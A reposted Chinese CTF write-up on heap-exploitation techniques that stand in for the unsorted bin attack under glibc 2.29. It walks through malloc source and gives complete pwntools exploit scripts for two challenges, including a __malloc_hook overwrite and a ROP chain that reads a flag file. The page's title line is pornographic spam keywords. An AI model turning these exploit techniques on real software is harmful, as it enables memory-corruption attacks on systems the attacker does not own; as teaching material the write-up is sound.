国产成人毛片毛片久久网_国产午夜激无码av毛片不_国产乱对白精彩在线播放_av资源站中文字幕_亚洲男人的天堂网站_国产成 人 综合 亚洲网_中国国产激情一区_少妇一级淫片免费放_亚洲一本大道av久在线播放_免费观看美女裸体网站

行業(yè)動(dòng)態(tài)

防御吧作為15年知名老牌域名服務(wù)商,CNNIC和CANN雙認(rèn)證域名注冊(cè)商,已經(jīng)
持續(xù)為500多萬個(gè)域名提供服務(wù),包括智能DNS/自由轉(zhuǎn)移/隱私保護(hù)等服務(wù)!
glibc2.29下unsortedbin_attack的替代方法
2021-07-21 16:20:21 【

如今glibc已經(jīng)發(fā)布了glibc 2.31版本,利用也變得越來越難,主要原因是新的版本中加入了更多的check,不過現(xiàn)在大多數(shù)的題目還是基于glibc2.23 2.27和2.29這3個(gè)版本。我們知道,glibc2.29相對(duì)于glibc2.23加入了更多的保護(hù)措施,而glibc2.29下對(duì)unsortedbin的保護(hù)措施相當(dāng)于直接扼殺了unsortedbin attack,使其基本成為了過去式。本文將介紹一些glibc2.29下unsortbin attack的代替方法。


回顧


首先讓我們回顧下unsortbin attack


的原理和作用,這里選取了glibc2.23的malloc.c的源碼:




for (;; )

   {

     int iters = 0;

     while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))

       {

         bck = victim->bk;

         if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)

             || __builtin_expect (victim->size > av->system_mem, 0))

           malloc_printerr (check_action, "malloc(): memory corruption",

                            chunk2mem (victim), av);

我們可以看到,這里只check了size是否合法,而size一般都會(huì)滿足條件,所以這個(gè)check形同虛設(shè),緊接著的unsortedbin的解鏈操作:




/* remove from unsorted list */

         unsorted_chunks (av)->bk = bck;

         bck->fd = unsorted_chunks (av);

當(dāng)將一個(gè) unsorted bin 取出的時(shí)候,會(huì)在 bck->fd的位置寫入  unsorted_chunks (av) 。換句話說,如果我們控制了 victime->bk的值,我們就能控制bck的值,就能將 unsorted_chunks (av)寫到任意地址 。這個(gè)值相當(dāng)?shù)拇螅覀円话阌脕砉?global_max_fast ,使得更大size的chunk也被視為fastbin,從而進(jìn)行fastbin attack;還有一個(gè)非常經(jīng)典的利用就是house of orange。


接著來看glibc2.29中的源碼:




for (;; )

   {

     int iters = 0;

     while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))

       {

         bck = victim->bk;

         size = chunksize (victim);

         mchunkptr next = chunk_at_offset (victim, size);


         if (__glibc_unlikely (size <= 2 * SIZE_SZ)

             || __glibc_unlikely (size > av->system_mem))

           malloc_printerr ("malloc(): invalid size (unsorted)");

         if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)

             || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))

           malloc_printerr ("malloc(): invalid next size (unsorted)");

         if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))

           malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");

         if (__glibc_unlikely (bck->fd != victim)

             || __glibc_unlikely (victim->fd != unsorted_chunks (av)))

           malloc_printerr ("malloc(): unsorted double linked list corrupted");

         if (__glibc_unlikely (prev_inuse (next)))

           malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

我們可以看到glibc 2.29先對(duì)于2.23來說對(duì)unsorted bin加入了更多的check,其中雙向鏈表的完整性檢查對(duì)我們的利用來說是致命的,這也導(dǎo)致unsorted bin在glibc 2.29下幾乎不可利用,所以我們要尋找一些代替的方法。我們以hitcon2019 quals One-punch-Man這題來實(shí)踐下方法1和方法2,再以今年某新春公益賽的一題實(shí)踐下方法3


程序分析


保護(hù)全開,libc版本是2.29,有seccomp:




ruan@ruan:/mnt/hgfs/shared/hitcon2019/one_punch$ seccomp-tools dump ./one_punch

line  CODE  JT   JF      K

=================================

0000: 0x20 0x00 0x00 0x00000004  A = arch

0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003

0002: 0x06 0x00 0x00 0x00000000  return KILL

0003: 0x20 0x00 0x00 0x00000000  A = sys_number

0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006

0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008

0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW

0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010

0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW

0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0012

0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0014

0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW

0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0016

0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW

0016: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0018

0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW

0018: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0020

0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW

0020: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0022

0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW

0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024

0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW

0024: 0x06 0x00 0x00 0x00000000  return KILL

retire函數(shù)里的UAF:




void retire()

{

 unsigned int v0; // [rsp+Ch] [rbp-4h]


 writen("idx: ");

 v0 = get_int();

 if ( v0 > 2 )

   error((__int64)"invalid");

 free((void *)chunks[v0].ptr);

}

debut函數(shù)會(huì)先把我們的輸入讀入到棧上,然后才復(fù)制到申請(qǐng)的堆塊中,所以可以利用這來進(jìn)行rop




unsigned __int64 __fastcall debut(__int64 a1, __int64 a2)

{

 unsigned int v3; // [rsp+8h] [rbp-418h]

 signed int v4; // [rsp+Ch] [rbp-414h]

 char s[1032]; // [rsp+10h] [rbp-410h]

 unsigned __int64 v6; // [rsp+418h] [rbp-8h]


 v6 = __readfsqword(0x28u);

 writen("idx: ");

 v3 = get_int();

 if ( v3 > 2 )

   error((__int64)"invalid");

 writen("hero name: ");

 memset(s, 0, 0x400uLL);

 v4 = read(0, s, 0x400uLL);

 if ( v4 <= 0 )

   error((__int64)"io");

 s[v4 - 1] = 0;

 if ( v4 <= 0x7F || v4 > 0x400 )

   error((__int64)"poor hero name");

 chunks[v3].ptr = (__int64)calloc(1uLL, v4);

 chunks[v3].sz = v4;

 strncpy((char *)chunks[v3].ptr, s, v4);

 memset(s, 0, 0x400uLL);

 return __readfsqword(0x28u) ^ v6;

}

一個(gè)后門選項(xiàng):




__int64 __fastcall sub_15BB(__int64 a1, __int64 a2)

{

 void *buf; // [rsp+8h] [rbp-8h]

if ( *(_BYTE *)(heap_base + 0x20) <= 6 )

   error((__int64)"gg");

 buf = malloc(0x217uLL);

 if ( !buf )

   error((__int64)"err");

 if ( read(0, buf, 0x217uLL) <= 0 )

   error((__int64)"io");

 puts("Serious Punch!!!");

 puts(&unk_2128);

 return puts(buf);

}

題目的debut函數(shù)用的是calloc函數(shù),意味著進(jìn)入了tcache的堆塊是不會(huì)在被取出來了(具體原因可以參考calloc源碼),但是后門函數(shù)里用的是malloc,所以我們的目標(biāo)就是要使得*(_BYTE *)(heap_base + 0x20) > 6,已達(dá)到利用后門的效果


方法1


很自然的想到要是能用unsortedbin attack就好了,但是這在glibc2.29下是行不通的,原因就是前面分析過的,glibc2.29對(duì)unsortedbin進(jìn)行了全方位的檢查。


我后來谷歌了下wp(https://medium.com/@ktecv2000/hitcon-ctf-2019-quals-one-punch-man-pwn-292pts-3e94eb3fd312),找到了一篇wp,里面用的方法有點(diǎn)類似于unsortedbin attack,不得不佩服大佬的思路。


文章里提到的方法是,當(dāng)從smallbin里申請(qǐng)一個(gè)堆塊的時(shí)候,會(huì)把剩下的smallbin也鏈入相對(duì)應(yīng)大小的tcache,前提是相應(yīng)大小的tcache沒滿,相對(duì)應(yīng)的源碼為:




if (in_smallbin_range (nb))

   {

     idx = smallbin_index (nb);

     bin = bin_at (av, idx);


     if ((victim = last (bin)) != bin)

       {

         bck = victim->bk;

   if (__glibc_unlikely (bck->fd != victim))

     malloc_printerr ("malloc(): smallbin double linked list corrupted");

         set_inuse_bit_at_offset (victim, nb);

         bin->bk = bck;

         bck->fd = bin;


         if (av != &main_arena)

     set_non_main_arena (victim);

         check_malloced_chunk (av, victim, nb);

#if USE_TCACHE

   /* While we're here, if we see other chunks of the same size,

      stash them in the tcache.  */

   size_t tc_idx = csize2tidx (nb);

   if (tcache && tc_idx < mp_.tcache_bins)

     {

       mchunkptr tc_victim;


       /* While bin not empty and tcache not full, copy chunks over.  */

       while (tcache->counts[tc_idx] < mp_.tcache_count

        && (tc_victim = last (bin)) != bin)

   {// 如果smallbin里相對(duì)應(yīng)大小的tcache沒滿的話,就鏈入tcache

     if (tc_victim != 0)

       {

         bck = tc_victim->bk;

         set_inuse_bit_at_offset (tc_victim, nb);

         if (av != &main_arena)

     set_non_main_arena (tc_victim);

         bin->bk = bck;

         bck->fd = bin;


         tcache_put (tc_victim, tc_idx);

             }

   }

     }

#endif

         void *p = chunk2mem (victim);

         alloc_perturb (p, bytes);

         return p;

       }

   }

此處是沒有對(duì)smallbin進(jìn)行check的:




if (tc_victim != 0)

       {

         bck = tc_victim->bk;

         set_inuse_bit_at_offset (tc_victim, nb);

         if (av != &main_arena)

     set_non_main_arena (tc_victim);

         bin->bk = bck;

         bck->fd = bin;

所以我們可以偽造tc_victim->bk,然后到了bck->fd=bin這一句,就可以向一個(gè)地址寫入一個(gè)libc的值了,類似于unsortedbin attack,要注意的話就是相對(duì)應(yīng)大小的tcache bin為6個(gè),這樣的話tcache_put后,就會(huì)退出循環(huán)(tcache相同size的chunk最多7個(gè)),把chunk返回,不會(huì)造成段錯(cuò)誤


這里還有個(gè)大問題,就是程序申請(qǐng)的堆塊大小范圍在0x7f~0x400之間,所以在tcache沒滿的情況下,free后都會(huì)進(jìn)入tcache,那要怎么讓一個(gè)大小的堆塊,比如0x100大小的堆塊,相對(duì)應(yīng)的tcache bin有6塊,而smallbin有兩塊呢,這里用到了last_remainder:




if (in_smallbin_range (nb) &&

             bck == unsorted_chunks (av) &&

             victim == av->last_remainder &&

             (unsigned long) (size) > (unsigned long) (nb + MINSIZE))

           {

             /* split and reattach remainder */

             remainder_size = size - nb;

             remainder = chunk_at_offset (victim, nb);

             unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;

             av->last_remainder = remainder;

             remainder->bk = remainder->fd = unsorted_chunks (av);

             if (!in_smallbin_range (remainder_size))

               {

                 remainder->fd_nextsize = NULL;

                 remainder->bk_nextsize = NULL;

               }


             set_head (victim, nb | PREV_INUSE |

                       (av != &main_arena ? NON_MAIN_ARENA : 0));

             set_head (remainder, remainder_size | PREV_INUSE);

             set_foot (remainder, remainder_size);


             check_malloced_chunk (av, victim, nb);

             void *p = chunk2mem (victim);

             alloc_perturb (p, bytes);

             return p;

           }

比如我們把unsortedbin切成0x100的大小,如果在calloc一個(gè)比這個(gè)大的chunk,那這個(gè)unsortedbin就會(huì)被放到相對(duì)應(yīng)大小的smallbin,對(duì)應(yīng)的源碼為:




/* place chunk in bin */


         if (in_smallbin_range (size))

           {

             victim_index = smallbin_index (size);

             bck = bin_at (av, victim_index);

             fwd = bck->fd;

           }

         else

           {

             victim_index = largebin_index (size);

             bck = bin_at (av, victim_index);

             fwd = bck->fd;

這樣的話一切條件都有了 😛


還有一點(diǎn)要注意的是,我們用這個(gè)方法把heap+0x30的地方改寫了,這樣的話其實(shí)tcache會(huì) corrupt 掉:




pwndbg> bins

tcachebins

0x100 [  7]: 0x563a59056000 —▸ 0x563a59053760 —▸ 0x563a59053660 —▸ 0x563a59053560 —▸ 0x563a59053460 —▸ 0x563a59053360 —▸ 0x563a59053260 ◂— 0x0

0x1d0 [-112]: 0x0

0x1e0 [-19]: 0x0

0x1f0 [-41]: 0x0

0x200 [-45]: 0x0

0x210 [-99]: 0x0

0x220 [125]: 0x0

0x410 [  7]: 0x563a590550c0 —▸ 0x563a59054cb0 —▸ 0x563a590548a0 —▸ 0x563a59054490 —▸ 0x563a59054080 —▸ 0x563a59053c70 —▸ 0x563a59053860 ◂— 0x0

所以我們要在攻擊前先申請(qǐng)一個(gè)0x217大小的堆塊,然后釋放掉,在攻擊


exp為:




from pwn import *


context.arch = 'amd64'


def debug(addr,PIE=True):

 if PIE:

   text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)

   gdb.attach(p,'b *{}'.format(hex(text_base+addr)))

 else:

   gdb.attach(p,"b *{}".format(hex(addr)))



def cmd(c):

 p.recvuntil("> ")

 p.sendline(str(c))


def add(idx,name):

 cmd(1)

 p.recvuntil("idx: ")

 p.sendline(str(idx))

 p.recvuntil("name: ")

 p.send(name)

def dele(idx):

 cmd(4)

 p.recvuntil("idx: ")

 p.sendline(str(idx))


def show(idx):

 cmd(3)

 p.recvuntil("idx: ")

 p.sendline(str(idx))


def edit(idx,name):

 cmd(2)

 p.recvuntil("idx: ")

 p.sendline(str(idx))

 p.recvuntil("name: ")

 p.send(name)


def main(host,port=26976):

 global p

 if host:

   p = remote(host,port)

 else:

   p = process("./one_punch")

   # debug(0x0000000000015BB)

   # gdb.attach(p)

 for i in range(2):

   add(i,"A"*0xf8)

 dele(0)

 dele(1)

 show(1)

 p.recvuntil(": ")

 heap = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x260

 for i in range(4):

   add(0,"A"*0xf8)

   dele(0)

 for i in range(7):

   add(0,"A"*0x400)

   dele(0)

 for i in range(2):

   add(i,"A"*0x400)

 dele(0)

 show(0)

 p.recvuntil(": ")

 libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x1e4ca0

 info("heap : " + hex(heap))

 info("libc : " + hex(libc.address))

 add(1,"A"*0x300)

 add(2,"A"*0x400)

 add(1,"A"*0x400)

 dele(2)

 add(1,"A"*0x300)

 add(1,"A"*0x400)

 add(0,"A"*0x217)

 payload = b"\x00"*0x108+b"/flag.txt"+b"\x00"*(0x7+0x1f0)+p64(0x101)+p64(heap+0x27d0)+p64(heap+0x30-0x10-5)

 edit(2,payload)

 dele(0)

 add(2,"A"*0xf8)

 edit(0,p64(libc.symbols["__malloc_hook"]))

 cmd(str(50056))

 p.send("C"*8)

 cmd(str(50056))

 p.send(p64(libc.address+0x000000000008cfd6))

 # pause()

 # 0x000000000008cfd6: add rsp, 0x48; ret;

 # 0x0000000000026542: pop rdi; ret;

 # 0x000000000012bdc9: pop rdx; pop rsi; ret;

 # 0x0000000000047cf8: pop rax; ret;

 # 0x00000000000cf6c5: syscall; ret;

 p_rdi = 0x0000000000026542+libc.address

 p_rdx_rsi = 0x000000000012bdc9+libc.address

 p_rax = 0x0000000000047cf8+libc.address

 syscall_ret = 0x00000000000cf6c5+libc.address

 payload = p64(p_rdi)+p64(heap+0x2df8)+p64(p_rdx_rsi)+p64(0)*2+p64(p_rax)+p64(2)+p64(syscall_ret)

 payload += p64(p_rdi)+p64(3)+p64(p_rdx_rsi)+p64(0x80)+p64(heap+0x2d00)+p64(p_rax)+p64(0)+p64(syscall_ret)

 payload += p64(p_rdi)+p64(1)+p64(p_rax)+p64(1)+p64(syscall_ret)

 payload += p64(p_rdi)+p64(0)+p64(p_rax)+p64(0)+p64(syscall_ret)

 payload = payload.ljust(0x100,b"\x00")

 gdb.attach(p)

 add(2,payload)

 p.interactive()


if __name__ == "__main__":

 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)

 main(args['REMOTE'])

方法2


方法2是Balsn戰(zhàn)隊(duì)的wp(https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#one-punch-man)里用到的largebin_attack,首先我覺得一個(gè)難點(diǎn)是這題申請(qǐng)的堆塊最大為0x410,怎么把大小比0x410還大的unsortedbin放入largebin是第一個(gè)要解決的問題,所以從源碼入手:




/*

            If a small request, try to use last remainder if it is the

            only chunk in unsorted bin.  This helps promote locality for

            runs of consecutive small requests. This is the only

            exception to best-fit, and applies only when there is

            no exact fit for a small chunk.

          */


         if (in_smallbin_range (nb) &&

             bck == unsorted_chunks (av) &&

             victim == av->last_remainder &&

             (unsigned long) (size) > (unsigned long) (nb + MINSIZE))

           {

             /* split and reattach remainder */

             remainder_size = size - nb;

這是判斷是否要把last remainder進(jìn)行切割的代碼,如果條件不滿足的話就會(huì)進(jìn)入下面的代碼:




/* remove from unsorted list */

         if (__glibc_unlikely (bck->fd != victim))

           malloc_printerr ("malloc(): corrupted unsorted chunks 3");

         unsorted_chunks (av)->bk = bck;

         bck->fd = unsorted_chunks (av);


         /* Take now instead of binning if exact fit */

   //我們使得size != nb,跳過這個(gè)代碼塊

         if (size == nb)

           {

             set_inuse_bit_at_offset (victim, size);

             if (av != &main_arena)

   set_non_main_arena (victim);

.........................................................

   }

#endif

           }


         /* place chunk in bin */


         if (in_smallbin_range (size))

           {

             victim_index = smallbin_index (size);

             bck = bin_at (av, victim_index);

             fwd = bck->fd;

           }

         else

           {// 將chunk置入largebin

             victim_index = largebin_index (size);

             bck = bin_at (av, victim_index);

             fwd = bck->fd;

所以wp里的堆布局為:




這樣當(dāng)我們malloc(0x200)的堆塊時(shí),就會(huì)不滿足bck == unsorted_chunks (av)和if (size == nb)從而把這個(gè)chunk(0x5601e80414c0)置入largebin中,第二次循環(huán)的時(shí)候,發(fā)現(xiàn)unsorted bin的size剛剛好,直接就取出返回




largebins

0x400: 0x5601e80414c0 —▸ 0x7f58e3c64090 (main_arena+1104)  ◂— 0x5601e80414c0

這樣的話就解決了這個(gè)問題,剩下的就是怎么進(jìn)行l(wèi)argebin_attack了,原理為:




if (in_smallbin_range (size))

           {

             victim_index = smallbin_index (size);

             bck = bin_at (av, victim_index);

             fwd = bck->fd;

           }

         else  //要放入的chunk是largebin

           {

             victim_index = largebin_index (size);

             bck = bin_at (av, victim_index);

             fwd = bck->fd;


             /* maintain large bins in sorted order */

             if (fwd != bck)

               {

                 /* Or with inuse bit to speed comparisons */

                 size |= PREV_INUSE;

                 /* if smaller than smallest, bypass loop below */

                 assert (chunk_main_arena (bck->bk));

                 if ((unsigned long) (size)

         < (unsigned long) chunksize_nomask (bck->bk))

                   {

                     fwd = bck;

                     bck = bck->bk;


                     victim->fd_nextsize = fwd->fd;

                     victim->bk_nextsize = fwd->fd->bk_nextsize;

                     fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

                   }

                 else

                   {

                     assert (chunk_main_arena (fwd));

                     while ((unsigned long) size < chunksize_nomask (fwd))

                       {

                         fwd = fwd->fd_nextsize;

       assert (chunk_main_arena (fwd));

                       }


                     if ((unsigned long) size

       == (unsigned long) chunksize_nomask (fwd))

                       /* Always insert in the second position.  */

                       fwd = fwd->fd;

                     else  //原本在largebin(fwd)的size和要放入的largebin(victim)的size不等

                       {

                         victim->fd_nextsize = fwd;

                         victim->bk_nextsize = fwd->bk_nextsize;

                         fwd->bk_nextsize = victim;  //!!!!

                         victim->bk_nextsize->fd_nextsize = victim;

                       }

                     bck = fwd->bk;

                   }

               }

             else

               victim->fd_nextsize = victim->bk_nextsize = victim;

           }


         mark_bin (av, victim_index);

         victim->bk = bck;

         victim->fd = fwd;

         fwd->bk = victim;

         bck->fd = victim;

所以我們可以利用程序里的UAF漏洞偽造好fwd->bk_nextsize,隨后的victim->bk_nextsize->fd_nextsize = victim;就會(huì)在fwd->bk_nextsize+0x20的位置寫入victim這個(gè)值,如果我們讓這個(gè)堆地址寫入到heap_base+0x20的位置就能使用后門函數(shù)了,這里要注意的一個(gè)點(diǎn)就是待插入的chunk的size要和已經(jīng)在largebin里的chunk的size不相等。


來看看效果:把unsortedbin放入largebin之前




放入后(這里的堆基地址為0x565505852000)




可以看到0x220大小的chunk被改為了有48個(gè),這樣我們就可以利用后門函數(shù)申請(qǐng)到__malloc_hook了


具體的exp見 https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#one-punch-man


方法3


方法3是在打今年某公益ctf的時(shí)候?qū)W到的,題目名字叫signin


程序邏輯很短,只能add10次:



dele后flags會(huì)置零,但指針沒置零,故可以UAF:




但是不能double free,因?yàn)間libc2.29在free tcache的時(shí)候會(huì)對(duì)tcache進(jìn)行check:




/* This test succeeds on double free.  However, we don't 100%

    trust it (it also matches random payload data at a 1 in

    2^<size_t> chance), so verify it's not an unlikely

    coincidence before aborting.  */

 if (__glibc_unlikely (e->key == tcache))

   {

     tcache_entry *tmp;

     LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);

     for (tmp = tcache->entries[tc_idx];

    tmp;

    tmp = tmp->next)

       if (tmp == e)

   malloc_printerr ("free(): double free detected in tcache 2");

     /* If we get here, it was a coincidence.  We've wasted a

        few cycles, but don't abort.  */

   }

還有就是僅有的一次edit機(jī)會(huì)和一個(gè)后門,不過后門要滿足bss段中的ptr不為零:



這里一開始想到的也是unsortedbin attack,如果能攻擊到bss段中的ptr,那我們就能getshell了,但是這題申請(qǐng)的堆塊固定了是0x70,故也就不能利用unsortedbin attack


我們可以看到這個(gè)backdoor函數(shù)很詭異,為什么要平白無故調(diào)用一個(gè)calloc,然后又想到程序限制了申請(qǐng)的堆塊大小為0x70,是在fastbin的范圍里,順著這兩點(diǎn),去看源碼,最后找到了利用點(diǎn):




static void *

_int_malloc (mstate av, size_t bytes)

{

 ...............................

#if USE_TCACHE

 size_t tcache_unsorted_count;      /* count of unsorted chunks processed */

#endif

 checked_request2size (bytes, nb);


 /* There are no usable arenas.  Fall back to sysmalloc to get a chunk from

    mmap.  */

.....................................................

 /*

    If the size qualifies as a fastbin, first check corresponding bin.

    This code is safe to execute even if av is not yet initialized, so we

    can try it without checking, which saves some time on this fast path.

  */

...................................        


 if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))

   {

     idx = fastbin_index (nb);

     mfastbinptr *fb = &fastbin (av, idx);

     mchunkptr pp;

     victim = *fb;


     if (victim != NULL)

 {

   if (SINGLE_THREAD_P)

     *fb = victim->fd;

   else

     REMOVE_FB (fb, pp, victim);

   if (__glibc_likely (victim != NULL))

     {

       size_t victim_idx = fastbin_index (chunksize (victim));

       if (__builtin_expect (victim_idx != idx, 0))

   malloc_printerr ("malloc(): memory corruption (fast)");

       check_remalloced_chunk (av, victim, nb);

#if USE_TCACHE

       /* While we're here, if we see other chunks of the same size,

    stash them in the tcache.  */

       size_t tc_idx = csize2tidx (nb);

       if (tcache && tc_idx < mp_.tcache_bins)

   {

     mchunkptr tc_victim;


     /* While bin not empty and tcache not full, copy chunks.  */

     while (tcache->counts[tc_idx] < mp_.tcache_count

      && (tc_victim = *fb) != NULL)

       {

         if (SINGLE_THREAD_P)

     *fb = tc_victim->fd;

         else

     {

       REMOVE_FB (fb, pp, tc_victim);

       if (__glibc_unlikely (tc_victim == NULL))

         break;

     }

         tcache_put (tc_victim, tc_idx);

       }

   }

#endif

我們可以看到這句注釋:/* While bin not empty and tcache not full, copy chunks. */,應(yīng)該是fastbin再取下一塊之后,如果fastbin還有剩余,而且對(duì)應(yīng)大小的tcache沒滿,就把它放到對(duì)應(yīng)大小的tcache,而且這里沒有任何檢查,在跟進(jìn)去tcache_put:




tcache_put (mchunkptr chunk, size_t tc_idx)

{

 tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

 assert (tc_idx < TCACHE_MAX_BINS);


 /* Mark this chunk as "in the tcache" so the test in _int_free will

    detect a double free.  */

 e->key = tcache;


 e->next = tcache->entries[tc_idx];

 tcache->entries[tc_idx] = e;

 ++(tcache->counts[tc_idx]);

}

這有句e->key = tcache;這是為了檢查tcache的double free,如果我們偽造了那個(gè)fastbin chunk,我們就可以往chunk+0x18的位置寫入tcache的值,效果和原來的unsortedbin attack很像。效果:




pwndbg> bins

tcachebins

0x80 [  6]: 0x21c84e0 —▸ 0x21c8460 —▸ 0x21c83e0 —▸ 0x21c8360 —▸ 0x21c82e0 —▸ 0x21c8260 ◂— 0x0

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x21c8650 —▸ 0x4040a8 ◂— 0xffffffff00000000

調(diào)用calloc后:




pwndbg> bins

tcachebins

0x80 [  7]: 0x4040b8 (completed) —▸ 0x21c84e0 —▸ 0x21c8460 —▸ 0x21c83e0 —▸ 0x21c8360 —▸ 0x21c82e0 —▸ 0x21c8260 ◂— 0x0

pwndbg> telescope 0x4040b8+8

00:0000│   0x4040c0 (ptr) —▸ 0x21c8010 ◂— 0x7000000000000

01:0008│   0x4040c8 ◂— 0x0

成功把tcache寫入ptr,這也是為什么后門函數(shù)在一開始會(huì)有個(gè)詭異的calloc,順帶一提的是calloc不會(huì)使用tcache里的堆塊


exp:




from pwn import *


context.arch = 'amd64'


def cmd(c):

 p.recvuntil("your choice?")

 p.sendline(str(c))


def add(idx):

 cmd(1)

 p.recvuntil("idx?")

 p.sendline(str(idx))

def dele(idx):

 cmd(3)

 p.recvuntil("idx?")

 p.sendline(str(idx))

def edit(idx,content):

 cmd(2)

 p.recvuntil("idx?")

 p.send(str(idx).ljust(0xf,"\x00"))

 p.send(content)


def main(host,port=4205):

 global p

 if host:

   p = remote(host,port)

 else:

   p = process("./pwn")

   gdb.attach(p,"b *0x000000000401343")

   # gdb.attach(p)

 for i in range(9):

   add(i)

 for i in range(9):

   dele(i)

 edit(8,p64(0x0000000004040C0-0x18))

 add(1)

 cmd(6)

 p.interactive()


if __name__ == "__main__":

 # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)

 # elf = ELF("./re-alloc",checksec=False)

 main(args['REMOTE'])

后記


3種方法都介紹完畢了,這里在提一下glibc源碼調(diào)試,這對(duì)我們解決題目有很大的幫助:


先下載一個(gè)Ubuntu19.04,用VMware裝上,或者用docker去pull一個(gè)Ubuntu19.04的鏡像


接著



搞好后,在程序運(yùn)行時(shí)gdb貼上去/usr/src/glibc/glibc-2.29/是源碼目錄,然后后面的文件夾要自己指定下,比如我想源碼調(diào)試malloc里的函數(shù):666.jpg


如果沒敲directory /usr/src/glibc/glibc-2.29/malloc,就不會(huì)出現(xiàn)相對(duì)應(yīng)的源碼,個(gè)人覺得還是挺方便的,特別是涉及到chunk分配的時(shí)候,看著相對(duì)應(yīng)的源碼一行一行的debug,體驗(yàn)很好。


】【打印關(guān)閉】 【返回頂部
分享到QQ空間
分享到: 
上一篇如何阻止和防止您網(wǎng)站上的 DDoS .. 下一篇初始化 Linux 云數(shù)據(jù)盤(CentOS 8..

立足首都,輻射全球,防御吧專注云防御及云計(jì)算服務(wù)15年!

聯(lián)系我們

服務(wù)熱線:13051179500 18910191973
企業(yè)QQ:1245940436
技術(shù)支持:010-56159998
E-Mail:xihedata.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解決防御與加速) 版權(quán)所有 增值許可:京B2-20140042號(hào)
售前咨詢
公司總機(jī):18910191973
24小時(shí)電話:010-56159998
投訴電話:18910191973
值班售后/技術(shù)支持
售后服務(wù)/財(cái)務(wù)
備案專員
緊急電話:18610088800